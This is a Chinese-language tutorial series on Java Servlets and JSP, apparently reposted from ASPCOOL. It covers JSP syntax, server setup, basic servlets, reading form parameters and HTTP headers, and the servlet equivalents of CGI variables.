     JSP页面文件通常以.jsp为扩展名，而且可以安装到任何能够存放普通Web页面的地方。虽然从代码编写来看，JSP页面更象普通Web页面而不象Servlet，但实际上，JSP最终会被转换成正规的Servlet，静态HTML直接输出到和Servlet service方法关联的输出流。

     JSP到Servlet的转换过程一般在出现第一次页面请求时进行。因此，如果你希望第一个用户不会由于JSP页面转换成Servlet而等待太长的时间，希望确保Servlet已经正确地编译并装载，你可以在安装JSP页面之后自己请求一下这个页面。

     另外也请注意，许多Web服务器允许定义别名，所以一个看起来指向HTML文件的URL实际上可能指向Servlet或JSP页面。

     除了普通HTML代码之外，嵌入JSP页面的其他成分主要有如下三种：脚本元素（Scripting Element），指令（Directive），动作（Action）。脚本元素用来嵌入Java代码，这些Java代码将成为转换得到的Servlet的一部分；JSP指令用来从整体上控制Servlet的结构；动作用来引入现有的组件或者控制JSP引擎的行为。为了简化脚本元素，JSP定义了一组可以直接使用的变量（预定义变量），比如前面代码片断中的request就是其中一例。

     注意本文以JSP 1.0规范为基础。和0.92版相比，新版本的JSP作了许多重大的改动。虽然这些改动只会使JSP变得更好，但应注意1.0的JSP页面几乎和早期的JSP引擎完全不兼容。

     11.2 JSP语法概要表 JSP元素 语法 说明 备注
JSP表达式 ＜%= expression %＞ 计算表达式并输出结果。 等价的XML表达是：
＜jsp:expression＞
expression
＜/jsp:expression＞

可以使用的预定义变量包括：request，response，out，session，application，config，pageContext。这些预定义变量也可以在JSP Scriptlet中使用。

JSP Scriptlet ＜% code %＞ 插入到service方法的代码。 等价的XML表达是：
＜jsp:scriptlet＞
code
＜/jsp:scriptlet＞

JSP声明 ＜%! code %＞ 代码被插入到Servlet类（在service方法之外）。 等价的XML表达是：
＜jsp:declaration＞
code
＜/jsp:declaration＞

page指令 ＜%@ page att="val" %＞ 作用于Servlet引擎的全局性指令。 等价的XML表达是
＜jsp:directive.page att="val"＼＞。

合法的属性如下表，其中粗体表示默认值：

import="package.class"
contentType="MIME-Type"
isThreadSafe="true|false"
session="true|false"
buffer="size kb|none"
autoflush="true|false"
extends="package.class"
info="message"
errorPage="url"
isErrorPage="true|false"
language="java"

include指令 ＜%@ include file="url" %＞ 当JSP转换成Servlet时，应当包含本地系统上的指定文件。 等价的XML表达是：

＜jsp:directive.include
file="url"＼＞.

其中URL必须是相对URL。

利用jsp:include动作可以在请求的时候（而不是JSP转换成Servlet时）引入文件。

JSP注释 ＜%-- comment --%＞ 注释；JSP转换成Servlet时被忽略。 如果要把注释嵌入结果HTML文档，使用普通的HTML注释标记＜-- comment --＞。
jsp:include动作 ＜jsp:include
page="relative URL"
flush="true"/＞ 当Servlet被请求时，引入指定的文件。 如果你希望在页面转换的时候包含某个文件，使用JSP include指令。
注意：在某些服务器上，被包含文件必须是HTML文件或JSP文件，具体由服务器决定（通常根据文件扩展名判断）。

jsp:useBean动作 ＜jsp:useBean att=val*/＞ 或者
＜jsp:useBean att=val*＞
...
＜/jsp:useBean＞ 寻找或实例化一个Java Bean。 可能的属性包括：
id="name"
scope="page|request
|session|application"
class="package.class"
type="package.class"
beanName="package.class"

jsp:setProperty动作 ＜jsp:setProperty att=val*/＞ 设置Bean的属性。既可以设置一个确定的值，也可以指定属性值来自请求参数。 合法的属性包括：
name="beanName"
property="propertyName|*"
param="parameterName"
value="val"

jsp:getProperty动作 ＜jsp:getProperty
name="propertyName"
value="val"/＞ 提取并输出Bean的属性。
jsp:forward动作 ＜jsp:forward
page="relative URL"/＞ 把请求转到另外一个页面。
jsp:plugin动作 ＜jsp:plugin
attribute="value"*＞
...
＜/jsp:plugin＞ 根据浏览器类型生成OBJECT或者EMBED标记，以便通过Java Plugin运行Java Applet。

     11.3 关于模板文本（静态HTML）

     许多时候，JSP页面的很大一部分都由静态HTML构成，这些静态HTML也称为“模板文本”。模板文本和普通HTML几乎完全相同，它们都遵从相同的语法规则，而且模板文本也是被Servlet直接发送到客户端。此外，模板文本也可以用任何现有的页面制作工具来编写。

     唯一的例外在于，如果要输出“＜%”，则模板文本中应该写成“＜＼%”。

做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


二、设置开发、运行环境 -- ASP酷技术网

     2.1 安装Servlet和JSP开发工具

     要学习Servlet和JSP开发，首先你必须准备一个符合Java Servlet 2.1/2.2和JavaServer Pages1.0/1.1规范的开发环境。Sun提供免费的JavaServer Web Development Kit（JSWDK），可以从http://java.sun.com/products/servlet/ 下载。

     安装好JSWDK之后，你还要告诉javac，在编译文件的时候到哪里去寻找Servlet和JSP类。JSWDK安装指南对此有详细说明，但主要就是把servlet.jar和jsp.jar加入CLASSPATH。CLASSPATH是一个指示Java如何寻找类文件的环境变量，如果不设置CLASSPATH，Java在当前目录和标准系统库中寻找类；如果你自己设置了CLASSPATH，不要忘记包含当前目录（即在CLASSPATH中包含“.”）。

     另外，为了避免和其他开发者安装到同一Web服务器上的Servlet产生命名冲突，最好把自己的Servlet放入包里面。此时，把包层次结构中的顶级目录也加入CLASSPATH会带来不少方便。请参见下文具体说明。

     2.2 安装支持Servlet的Web服务器

     除了开发工具之外，你还要安装一个支持Java Servlet的Web服务器，或者在现有的Web服务器上安装Servlet软件包。如果你使用的是最新的Web服务器或应用服务器，很可能它已经有了所有必需的软件。请查看Web服务器的文档，或访问http://java.sun.com/products/servlet/industry.html 查看支持Servlet的服务器软件清单。

     虽然最终运行Servlet的往往是商业级的服务器，但是开始学习的时候，用一个能够在台式机上运行的免费系统进行开发和测试也足够了。下面是几种当前最受欢迎的产品。

Apache Tomcat.

Tomcat是Servlet 2.2和JSP 1.1规范的官方参考实现。Tomcat既可以单独作为小型Servlet、JSP测试服务器，也可以集成到Apache Web服务器。直到2000年早期，Tomcat还是唯一的支持Servlet 2.2和JSP 1.1规范的服务器，但已经有许多其它服务器宣布提供这方面的支持。

Tomcat和Apache一样是免费的。不过，快速、稳定的Apache服务器安装和配置起来有点麻烦，Tomcat也有同样的缺点。和其他商业级Servlet引擎相比，配置Tomcat的工作量显然要多一点。具体请参见http://jakarta.apache.org/ 。

JavaServer Web Development Kit (JSWDK).

JSWDK是Servlet 2.1和JSP 1.0的官方参考实现。把Servlet和JSP应用部署到正式运行它们的服务器之前，JSWDK可以单独作为小型的Servlet、JSP测试服务器。JSWDK也是免费的，而且具有很好的稳定性，但它的安装和配置也较为复杂。具体请参见http://java.sun.com/products/servlet/download.html 。

Allaire JRun.

JRun是一个Servlet和JSP引擎，它可以集成到Netscape Enterprise或FastTrack Server、IIS、Microsoft Personal Web Server、版本较低的Apache、O'eilly的WebSite或者StarNine Web STAR。最多支持5个并发连接的限制版本是免费的，商业版本中不存在这个限制，而且增加了远程管理控制台之类的功能。具体请参见http://www.allaire.com/products/jrun/ 。

New Atlanta 的ServletExec

ServletExec是一个快速的Servlet和JSP引擎，它可以集成到大多数流行的Web服务器，支持平台包括Solaris、Windows、MacOS、HP-UX和Linux。ServletExec可以免费下载和使用，但许多高级功能和管理工具只有在购买了许可之后才可以使用。New Atlanta还提供一个免费的Servlet调试器，该调试器可以在许多流行的Java IDE下工作。具体请参见http://newatlanta.com/ 。

Gefion的LiteWebServer (LWS)

LWS是一个支持Servlet 2.2和JSP 1.1的免费小型Web服务器。 Gefion还有一个免费的WAICoolRunner插件，利用该插件可以为Netscape FastTrack和Enterprise Server增加Servlet 2.2和JSP 1.1支持。具体请参见http://www.gefionsoftware.com/ 。

Sun的Java Web Server.

该服务器全部用Java写成，而且是首先提供Servlet 2.1和JSP 1.0规范完整支持的Web服务器之一。虽然Sun现在已转向Netscape/I-Planet Server，不再发展Java Web Server，但它仍旧是一个广受欢迎的Servlet、JSP学习平台。要得到免费试用版本，请访问http://www.sun.com/software/jwebserver/try/ 。
做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


三、第一个Servlet -- ASP酷技术网

三、第一个Servlet
作 者 : 仙人掌工作室

     3.1 Servlet基本结构

     下面的代码显示了一个简单Servlet的基本结构。该Servlet处理的是GET请求，所谓的GET请求，如果你不熟悉HTTP，可以把它看成是当用户在浏览器地址栏输入URL、点击Web页面中的链接、提交没有指定METHOD的表单时浏览器所发出的请求。Servlet也可以很方便地处理POST请求。POST请求是提交那些指定了METHOD=“POST”的表单时所发出的请求，具体请参见稍后几节的讨论。
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SomeServlet extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {

// 使用“request”读取和请求有关的信息（比如Cookies）
// 和表单数据

// 使用“response”指定HTTP应答状态代码和应答头
// （比如指定内容类型，设置Cookie）

PrintWriter out = response.getWriter();
// 使用 "out"把应答内容发送到浏览器
}
}

     如果某个类要成为Servlet，则它应该从HttpServlet 继承，根据数据是通过GET还是POST发送，覆盖doGet、doPost方法之一或全部。doGet和doPost方法都有两个参数，分别为HttpServletRequest 类型和HttpServletResponse 类型。HttpServletRequest提供访问有关请求的信息的方法，例如表单数据、HTTP请求头等等。HttpServletResponse除了提供用于指定HTTP应答状态（200，404等）、应答头（Content-Type，Set-Cookie等）的方法之外，最重要的是它提供了一个用于向客户端发送数据的PrintWriter 。对于简单的Servlet来说，它的大部分工作是通过println语句生成向客户端发送的页面。

     注意doGet和doPost抛出两个异常，因此你必须在声明中包含它们。另外，你还必须导入java.io包（要用到PrintWriter等类）、javax.servlet包（要用到HttpServlet等类）以及javax.servlet.http包（要用到HttpServletRequest类和HttpServletResponse类）。

     最后，doGet和doPost这两个方法是由service方法调用的，有时你可能需要直接覆盖service方法，比如Servlet要处理GET和POST两种请求时。

     3.2 输出纯文本的简单Servlet

     下面是一个输出纯文本的简单Servlet。

     3.2.1 HelloWorld.java
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloWorld extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
PrintWriter out = response.getWriter();
out.println("Hello World");
}
}

     3.2.2 Servlet的编译和安装

     不同的Web服务器上安装Servlet的具体细节可能不同，请参考Web服务器文档了解更权威的说明。假定使用Java Web Server（JWS）2.0，则Servlet应该安装到JWS安装目录的servlets子目录下。在本文中，为了避免同一服务器上不同用户的Servlet命名冲突，我们把所有Servlet都放入一个独立的包hall中；如果你和其他人共用一个服务器，而且该服务器没有“虚拟服务器”机制来避免这种命名冲突，那么最好也使用包。把Servlet放入了包hall之后，HelloWorld.java实际上是放在servlets目录的hall子目录下。

     大多数其他服务器的配置方法也相似，除了JWS之外，本文的Servlet和JSP示例已经在BEA WebLogic和IBM WebSphere 3.0下经过测试。WebSphere具有优秀的虚拟服务器机制，因此，如果只是为了避免命名冲突的话并非一定要用包。

     对于没有使用过包的初学者，下面我们介绍编译包里面的类的两种方法。

     一种方法是设置CLASSPATH，使其指向实际存放Servlet的目录的上一级目录（Servlet主目录），然后在该目录中按正常的方式编译。例如，如果Servlet的主目录是C:＼JavaWebServer＼servlets，包的名字（即主目录下的子目录名字）是hall，在Windows下，编译过程如下：
DOS＞ set CLASSPATH=C:＼JavaWebServer＼servlets;%CLASSPATH%
DOS＞ cd C:＼JavaWebServer＼servlets＼hall
DOS＞ javac YourServlet.java

     第二种编译包里面的Servlet的方法是进入Servlet主目录，执行“javac directory＼YourServlet.java”（Windows）或者“javac directory/YourServlet.java”（Unix）。例如，再次假定Servlet主目录是C:＼JavaWebServer＼servlets，包的名字是hall，在Windows中编译过程如下：
DOS＞ cd C:＼JavaWebServer＼servlets
DOS＞ javac hall＼YourServlet.java

     注意在Windows下，大多数JDK 1.1版本的javac要求目录名字后面加反斜杠(＼)。JDK1.2已经改正这个问题，然而由于许多Web服务器仍旧使用JDK 1.1，因此大量的Servlet开发者仍旧在使用JDK 1.1。

     最后，Javac还有一个高级选项用于支持源代码和.class文件的分开放置，即你可以用javac的“-d”选项把.class文件安装到Web服务器所要求的目录。

     3.2.3 运行Servlet

     在Java Web Server下，Servlet应该放到JWS安装目录的servlets子目录下，而调用Servlet的URL是http://host/servlet/ServletName。注意子目录的名字是servlets（带“s”），而URL使用的是“servlet”。由于HelloWorld Servlet放入包hall，因此调用它的URL应该是http://host/servlet/hall.HelloWorld。在其他的服务器上，安装和调用Servlet的方法可能略有不同。

     大多数Web服务器还允许定义Servlet的别名，因此Servlet也可能用http://host/any-path/any-file.html形式的URL调用。具体如何进行配置完全依赖于服务器类型，请参考服务器文档了解细节。

     3.3 输出HTML的Servlet

     大多数Servlet都输出HTML，而不象上例一样输出纯文本。要输出HTML还有两个额外的步骤要做：告诉浏览器接下来发送的是HTML；修改println语句构造出合法的HTML页面。

     第一步通过设置Content-Type（内容类型）应答头完成。一般地，应答头可以通过HttpServletResponse的setHeader方法设置，但由于设置内容类型是一个很频繁的操作，因此Servlet API提供了一个专用的方法setContentType。注意设置应答头应该在通过PrintWriter发送内容之前进行。下面是一个实例：

     HelloWWW.java
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloWWW extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("＜!DOCTYPE HTML PUBLIC ＼"-//W3C//DTD HTML 4.0 " +
"Transitional//EN＼"＞＼n" +
"＜HTML＞＼n" +
"＜HEAD＞＜TITLE＞Hello WWW＜/TITLE＞＜/HEAD＞＼n" +
"＜BODY＞＼n" +
"＜H1＞Hello WWW＜/H1＞＼n" +
"＜/BODY＞＜/HTML＞");
}
}

     3.4 几个HTML工具函数

     通过println语句输出HTML并不方便，根本的解决方法是使用JavaServer Pages（JSP）。然而，对于标准的Servlet来说，由于Web页面中有两个部分（DOCTYPE和HEAD）一般不会改变，因此可以用工具函数来封装生成这些内容的代码。

     虽然大多数主流浏览器都会忽略DOCTYPE行，但严格地说HTML规范是要求有DOCTYPE行的，它有助于HTML语法检查器根据所声明的HTML版本检查HTML文档合法性。在许多Web页面中，HEAD部分只包含＜TITLE＞。虽然许多有经验的编写者都会在HEAD中包含许多META标记和样式声明，但这里只考虑最简单的情况。

     下面的Java方法只接受页面标题为参数，然后输出页面的DOCTYPE、HEAD、TITLE部分。清单如下：

     ServletUtilities.java
package hall;

public class ServletUtilities {
public static final String DOCTYPE =
"＜!DOCTYPE HTML PUBLIC ＼"-//W3C//DTD HTML 4.0 Transitional//EN＼"＞";

public static String headWithTitle(String title) {
return(DOCTYPE + "＼n" +
"＜HTML＞＼n" +
"＜HEAD＞＜TITLE＞" + title + "＜/TITLE＞＜/HEAD＞＼n");
}

// 其他工具函数的代码在本文后面介绍
}

     HelloWWW2.java

     下面是应用了ServletUtilities之后重写HelloWWW类得到的HelloWWW2：
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloWWW2 extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println(ServletUtilities.headWithTitle("Hello WWW") +
"＜BODY＞＼n" +
"＜H1＞Hello WWW＜/H1＞＼n" +
"＜/BODY＞＜/HTML＞");
}
}

做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


四、处理表单数据 -- ASP酷技术网

四、处理表单数据
作 者 : 仙人掌工作室

     4.1 表单数据概述

     如果你曾经使用过Web搜索引擎，或者浏览过在线书店、股票价格、机票信息，或许会留意到一些古怪的URL，比如“http://host/path?user=Marty+Hall&origin=bwi&dest=lax”。这个URL中位于问号后面的部分，即“user=Marty+Hall&origin=bwi&dest=lax”，就是表单数据，这是将Web页面数据发送给服务器程序的最常用方法。对于GET请求，表单数据附加到URL的问号后面（如上例所示）；对于POST请求，表单数据用一个单独的行发送给服务器。

     以前，从这种形式的数据提取出所需要的表单变量是CGI编程中最麻烦的事情之一。首先，GET请求和POST请求的数据提取方法不同：对于GET请求，通常要通过QUERY_STRING环境变量提取数据；对于POST请求，则一般通过标准输入提取数据。第二，程序员必须负责在“&”符号处截断变量名字-变量值对，再分离出变量名字（等号左边）和变量值（等号右边）。第三，必须对变量值进行URL反编码操作。因为发送数据的时候，字母和数字以原来的形式发送，但空格被转换成加号，其他字符被转换成“%XX”形式，其中XX是十六进制表示的字符ASCII（或者ISO Latin-1）编码值。例如，如果HTML表单中名为“users”的域值为“~hall, ~gates, and ~mcnealy”，则实际向服务器发送的数据为“users=%7Ehall%2C+%7Egates%2C+and+%7Emcnealy”。最后，即第四个导致解析表单数据非常困难的原因在于，变量值既可能被省略（如“param1=val1＆param2=＆param3=val3”），也有可能一个变量拥有一个以上的值，即同一个变量可能出现一次以上（如“param1=val1＆param2=val2＆param1=val3”）。

     Java Servlet的好处之一就在于所有上述解析操作都能够自动完成。只需要简单地调用一下HttpServletRequest的getParameter方法、在调用参数中提供表单变量的名字（大小写敏感）即可，而且GET请求和POST请求的处理方法完全相同。

     getParameter方法的返回值是一个字符串，它是参数中指定的变量名字第一次出现所对应的值经反编码得到得字符串（可以直接使用）。如果指定的表单变量存在，但没有值，getParameter返回空字符串；如果指定的表单变量不存在，则返回null。如果表单变量可能对应多个值，可以用getParameterValues来取代getParameter。getParameterValues能够返回一个字符串数组。

     最后，虽然在实际应用中Servlet很可能只会用到那些已知名字的表单变量，但在调试环境中，获得完整的表单变量名字列表往往是很有用的，利用getParamerterNames方法可以方便地实现这一点。getParamerterNames返回的是一个Enumeration，其中的每一项都可以转换为调用getParameter的字符串。

     4.2 实例：读取三个表单变量

     下面是一个简单的例子，它读取三个表单变量param1、param2和param3，并以HTML列表的形式列出它们的值。请注意，虽然在发送应答内容之前必须指定应答类型（包括内容类型、状态以及其他HTTP头信息），但Servlet对何时读取请求内容却没有什么要求。

     另外，我们也可以很容易地把Servlet做成既能处理GET请求，也能够处理POST请求，这只需要在doPost方法中调用doGet方法，或者覆盖service方法（service方法调用doGet、doPost、doHead等方法）。在实际编程中这是一种标准的方法，因为它只需要很少的额外工作，却能够增加客户端编码的灵活性。

     如果你习惯用传统的CGI方法，通过标准输入读取POST数据，那么在Servlet中也有类似的方法，即在HttpServletRequest上调用getReader或者getInputStream，但这种方法对普通的表单变量来说太麻烦。然而，如果是要上载文件，或者POST数据是通过专门的客户程序而不是HTML表单发送，那么就要用到这种方法。

     注意用第二种方法读取POST数据时，不能再用getParameter来读取这些数据。

     ThreeParams.java
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;

public class ThreeParams extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String title = "读取三个请求参数";
out.println(ServletUtilities.headWithTitle(title) +
"＜BODY＞＼n" +
"＜H1 ALIGN=CENTER＞" + title + "＜/H1＞＼n" +
"＜UL＞＼n" +
" ＜LI＞param1: "
+ request.getParameter("param1") + "＼n" +
" ＜LI＞param2: "
+ request.getParameter("param2") + "＼n" +
" ＜LI＞param3: "
+ request.getParameter("param3") + "＼n" +
"＜/UL＞＼n" +
"＜/BODY＞＜/HTML＞");
}

public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}

     4.3 实例：输出所有的表单数据

     下面这个例子寻找表单所发送的所有变量名字，并把它们放入表格中，没有值或者有多个值的变量都突出显示。

     首先，程序通过HttpServletRequest的getParameterNames方法得到所有的变量名字，getParameterNames返回的是一个Enumeration。接下来，程序用循环遍历这个Enumeration，通过hasMoreElements确定何时结束循环，利用nextElement得到Enumeration中的各个项。由于nextElement返回的是一个Object，程序把它转换成字符串后再用这个字符串来调用getParameterValues。

     getParameterValues返回一个字符串数组，如果这个数组只有一个元素且等于空字符串，说明这个表单变量没有值，Servlet以斜体形式输出“No Value”；如果数组元素个数大于1，说明这个表单变量有多个值，Servlet以HTML列表形式输出这些值；其他情况下Servlet直接把变量值放入表格。

     ShowParameters.java

     注意，ShowParameters.java用到了前面介绍过的ServletUtilities.java。
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;

public class ShowParameters extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String title = "读取所有请求参数";
out.println(ServletUtilities.headWithTitle(title) +
"＜BODY BGCOLOR=＼"#FDF5E6＼"＞＼n" +
"＜H1 ALIGN=CENTER＞" + title + "＜/H1＞＼n" +
"＜TABLE BORDER=1 ALIGN=CENTER＞＼n" +
"＜TR BGCOLOR=＼"#FFAD00＼"＞＼n" +
"＜TH＞参数名字＜TH＞参数值");
Enumeration paramNames = request.getParameterNames();
while(paramNames.hasMoreElements()) {
String paramName = (String)paramNames.nextElement();
out.println("＜TR＞＜TD＞" + paramName + "＼n＜TD＞");
String[] paramValues = request.getParameterValues(paramName);
if (paramValues.length == 1) {
String paramValue = paramValues[0];
if (paramValue.length() == 0)
out.print("＜I＞No Value＜/I＞");
else
out.print(paramValue);
} else {
out.println("＜UL＞");
for(int i=0; i＜paramValues.length; i++) {
out.println("＜LI＞" + paramValues[i]);
}
out.println("＜/UL＞");
}
}
out.println("＜/TABLE＞＼n＜/BODY＞＜/HTML＞");
}

public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}

     测试表单

     下面是向上述Servlet发送数据的表单PostForm.html。就像所有包含密码输入域的表单一样，该表单用POST方法发送数据。我们可以看到，在Servlet中同时实现doGet和doPost这两种方法为表单制作带来了方便。
＜!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"＞
＜HTML＞
＜HEAD＞
＜TITLE＞示例表单＜/TITLE＞
＜/HEAD＞

＜BODY BGCOLOR="#FDF5E6"＞
＜H1 ALIGN="CENTER"＞用POST方法发送数据的表单＜/H1＞

＜FORM ACTION="/servlet/hall.ShowParameters"
METHOD="POST"＞
Item Number:
＜INPUT TYPE="TEXT" NAME="itemNum"＞＜BR＞
Quantity:
＜INPUT TYPE="TEXT" NAME="quantity"＞＜BR＞
Price Each:
＜INPUT TYPE="TEXT" NAME="price" VALUE="$"＞＜BR＞
＜HR＞
First Name:
＜INPUT TYPE="TEXT" NAME="firstName"＞＜BR＞
Last Name:
＜INPUT TYPE="TEXT" NAME="lastName"＞＜BR＞
Middle Initial:
＜INPUT TYPE="TEXT" NAME="initial"＞＜BR＞
Shipping Address:
＜TEXTAREA NAME="address" ROWS=3 COLS=40＞＜/TEXTAREA＞＜BR＞
Credit Card:＜BR＞
＜INPUT TYPE="RADIO" NAME="cardType"
VALUE="Visa"＞Visa＜BR＞
＜INPUT TYPE="RADIO" NAME="cardType"
VALUE="Master Card"＞Master Card＜BR＞
＜INPUT TYPE="RADIO" NAME="cardType"
VALUE="Amex"＞American Express＜BR＞
＜INPUT TYPE="RADIO" NAME="cardType"
VALUE="Discover"＞Discover＜BR＞
＜INPUT TYPE="RADIO" NAME="cardType"
VALUE="Java SmartCard"＞Java SmartCard＜BR＞
Credit Card Number:
＜INPUT TYPE="PASSWORD" NAME="cardNum"＞＜BR＞
Repeat Credit Card Number:
＜INPUT TYPE="PASSWORD" NAME="cardNum"＞＜BR＞＜BR＞
＜CENTER＞
＜INPUT TYPE="SUBMIT" VALUE="Submit Order"＞
＜/CENTER＞
＜/FORM＞

＜/BODY＞
＜/HTML＞

做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


五、读取HTTP请求头 -- ASP酷技术网

五、读取HTTP请求头
作 者 : 仙人掌工作室

     5.1 HTTP请求头概述

     HTTP客户程序（例如浏览器），向服务器发送请求的时候必须指明请求类型（一般是GET或者POST）。如有必要，客户程序还可以选择发送其他的请求头。大多数请求头并不是必需的，但Content-Length除外。对于POST请求来说Content-Length必须出现。

     下面是一些最常见的请求头：

Accept：浏览器可接受的MIME类型。
Accept-Charset：浏览器可接受的字符集。
Accept-Encoding：浏览器能够进行解码的数据编码方式，比如gzip。Servlet能够向支持gzip的浏览器返回经gzip编码的HTML页面。许多情形下这可以减少5到10倍的下载时间。
Accept-Language：浏览器所希望的语言种类，当服务器能够提供一种以上的语言版本时要用到。
Authorization：授权信息，通常出现在对服务器发送的WWW-Authenticate头的应答中。
Connection：表示是否需要持久连接。如果Servlet看到这里的值为“Keep-Alive”，或者看到请求使用的是HTTP 1.1（HTTP 1.1默认进行持久连接），它就可以利用持久连接的优点，当页面包含多个元素时（例如Applet，图片），显著地减少下载所需要的时间。要实现这一点，Servlet需要在应答中发送一个Content-Length头，最简单的实现方法是：先把内容写入ByteArrayOutputStream，然后在正式写出内容之前计算它的大小。
Content-Length：表示请求消息正文的长度。
Cookie：这是最重要的请求头信息之一，参见后面《Cookie处理》一章中的讨论。
From：请求发送者的email地址，由一些特殊的Web客户程序使用，浏览器不会用到它。
Host：初始URL中的主机和端口。
If-Modified-Since：只有当所请求的内容在指定的日期之后又经过修改才返回它，否则返回304“Not Modified”应答。
Pragma：指定“no-cache”值表示服务器必须返回一个刷新后的文档，即使它是代理服务器而且已经有了页面的本地拷贝。
Referer：包含一个URL，用户从该URL代表的页面出发访问当前请求的页面。
User-Agent：浏览器类型，如果Servlet返回的内容与浏览器类型有关则该值非常有用。
UA-Pixels，UA-Color，UA-OS，UA-CPU：由某些版本的IE浏览器所发送的非标准的请求头，表示屏幕大小、颜色深度、操作系统和CPU类型。
     有关HTTP头完整、详细的说明，请参见http://www.w3.org/Protocols/ 的HTTP规范。

     5.2 在Servlet中读取请求头

     在Servlet中读取HTTP头是非常方便的，只需要调用一下HttpServletRequest的getHeader方法即可。如果客户请求中提供了指定的头信息，getHeader返回对应的字符串；否则，返回null。部分头信息经常要用到，它们有专用的访问方法：getCookies方法返回Cookie头的内容，经解析后存放在Cookie对象的数组中，请参见后面有关Cookie章节的讨论；getAuthType和getRemoteUser方法分别读取Authorization头中的一部分内容；getDateHeader和getIntHeader方法读取指定的头，然后返回日期值或整数值。

     除了读取指定的头之外，利用getHeaderNames还可以得到请求中所有头名字的一个Enumeration对象。

     最后，除了查看请求头信息之外，我们还可以从请求主命令行获得一些信息。getMethod方法返回请求方法，请求方法通常是GET或者POST，但也有可能是HEAD、PUT或者DELETE。getRequestURI方法返回URI（URI是URL的从主机和端口之后到表单数据之前的那一部分）。getRequestProtocol返回请求命令的第三部分，一般是“HTTP/1.0”或者“HTTP/1.1”。

     5.3 实例：输出所有的请求头

     下面的Servlet实例把所有接收到的请求头和它的值以表格的形式输出。另外，该Servlet还会输出主请求命令的三个部分：请求方法，URI，协议/版本。

     ShowRequestHeaders.java
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;

public class ShowRequestHeaders extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String title = "显示所有请求头";
out.println(ServletUtilities.headWithTitle(title) +
"＜BODY BGCOLOR=＼"#FDF5E6＼"＞＼n" +
"＜H1 ALIGN=CENTER＞" + title + "＜/H1＞＼n" +
"＜B＞Request Method: ＜/B＞" +
request.getMethod() + "＜BR＞＼n" +
"＜B＞Request URI: ＜/B＞" +
request.getRequestURI() + "＜BR＞＼n" +
"＜B＞Request Protocol: ＜/B＞" +
request.getProtocol() + "＜BR＞＜BR＞＼n" +
"＜TABLE BORDER=1 ALIGN=CENTER＞＼n" +
"＜TR BGCOLOR=＼"#FFAD00＼"＞＼n" +
"＜TH＞Header Name＜TH＞Header Value");
Enumeration headerNames = request.getHeaderNames();
while(headerNames.hasMoreElements()) {
String headerName = (String)headerNames.nextElement();
out.println("＜TR＞＜TD＞" + headerName);
out.println(" ＜TD＞" + request.getHeader(headerName));
}
out.println("＜/TABLE＞＼n＜/BODY＞＜/HTML＞");
}

public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}

做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


六、访问CGI变量 -- ASP酷技术网

六、访问CGI变量
作 者 : 仙人掌工作室

     6.1 CGI变量概述

     如果你是从传统的CGI编程转而学习Java Servlet，或许已经习惯了“CGI变量”这一概念。CGI变量汇集了各种有关请求的信息：

部分来自HTTP请求命令和请求头，例如Content-Length头；
部分来自Socket本身，例如主机的名字和IP地址；
也有部分与服务器安装配置有关，例如URL到实际路径的映射。
     6.2 标准CGI变量的Servlet等价表示

     下表假定request对象是提供给doGet和doPost方法的HttpServletRequest类型对象。 CGI变量 含义 从doGet或doPost访问
AUTH_TYPE 如果提供了Authorization头，这里指定了具体的模式（basic或者digest）。 request.getAuthType()
CONTENT_LENGTH 只用于POST请求，表示所发送数据的字节数。 严格地讲，等价的表达方式应该是String.valueOf(request.getContentLength())（返回一个字符串）。但更常见的是用request.getContentLength()返回含义相同的整数。
CONTENT_TYPE 如果指定的话，表示后面所跟数据的类型。 request.getContentType()
DOCUMENT_ROOT 与http://host/对应的路径。 getServletContext().getRealPath("/")
注意低版本Servlet规范中的等价表达方式是request.getRealPath("/")。

HTTP_XXX_YYY 访问任意HTTP头。 request.getHeader("Xxx-Yyy")
PATH_INFO URL中的附加路径信息，即URL中Servlet路径之后、查询字符串之前的那部分。 request.getPathInfo()
PATH_TRANSLATED 映射到服务器实际路径之后的路径信息。 request.getPathTranslated()
QUERY_STRING 这是字符串形式的附加到URL后面的查询字符串，数据仍旧是URL编码的。在Servlet中很少需要用到未经解码的数据，一般使用getParameter访问各个参数。 request.getQueryString()
REMOTE_ADDR 发出请求的客户机的IP地址。 request.getRemoteAddr()
REMOTE_HOST 发出请求的客户机的完整的域名，如java.sun.com。如果不能确定该域名，则返回IP地址。 request.getRemoteHost()
REMOTE_USER 如果提供了Authorization头，则代表其用户部分。它代表发出请求的用户的名字。 request.getRemoteUser()
